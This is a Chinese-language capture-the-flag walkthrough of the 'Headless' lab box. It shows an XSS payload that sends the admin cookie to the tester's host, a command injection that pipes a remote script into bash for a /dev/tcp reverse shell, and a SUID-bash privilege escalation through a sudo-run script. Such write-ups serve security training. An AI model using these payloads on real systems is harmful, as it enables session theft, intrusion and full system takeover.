XSS跨站脚本攻击、sh脚本提权
Headless
信息搜集
使用nmap扫描一下
1 | nmap -sV -sC -v --min-rate 1000 10.10.11.8 |

可以发现5000端口是开放的,继续扫一下目录

访问/dashboard发现只有admin才可以,我们注意到cookie值为JWT加密,拿到揭秘网站验证下猜想

cookie为user用户,那么我们要想访问必须拿到admin的cookie
访问/support路径存在类似提交留言的功能,应该是存在xss注入。
1 | <script>alert(1)</script> |
提交后会发现提示Hacking

说明思路没错,那么我们可以利用xss注入得到admin的cookie值,payload如下
(利用fetch函数对我们服务器发送网络请求)
1 | <img src=1 onerror=fetch("http://10.10.14.34:80/?cookie="+document.cookie);> |
经过多次尝试,发现我触发payload的条件必须在User-Agent和message参数都有才行。而国外师傅们不同wp中User-Agent都是payload触发点,但是message参数值的不同。有的是下图这样而有的是message=test;

不过好在是拿到了admin的cookie

成功访问/dashboard,然后抓包发现data参数存在命令注入

尝试直接反弹shell发现不行,那么试一下用curl命令
首先在本地创建shell.sh文件,写入
1
bash -c "bash -i >& /dev/tcp/10.10.14.34/1028 0>&1"
然后在本地开启http服务,用来被靶机读取文件
1
python3 -m http.server 80
然后用curl命令去读取我们的shell.sh文件
1
date=;curl 10.10.14.34/shell.sh |bash
成功反弹shell

得到user的flag

我们尝试用sudo提权
1 | sudo -l |
发现只有/usr/bin/syscheck可用

我们strings命令查看下得到源码
1 | #!/bin/bash |
重点看下面这段
1 | if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then |
这段代码大概意思就是,if语句先使用pgrep命令检测initdb.sh是否存在,如果不存在则执行该sh文件并丢弃错误输出
而我们在根目录下并没有找到该sh文件,那么我们可以简单利用一下
首先创建
initdb.sh文件,写入提升权限的命令1
echo "chmod u+s /bin/bash" > initdb.sh
然后赋予该sh脚本的执行权限
1
chmod +x initdb.sh
最后sudo执行
/usr/bin/syscheck,成功运行sh脚本1
sudo /usr/bin/syscheck

运行sh脚本后,用-p参数启动Bash Shell并以特权模式运行
1 | /bin/bash -p |
得到root的flag
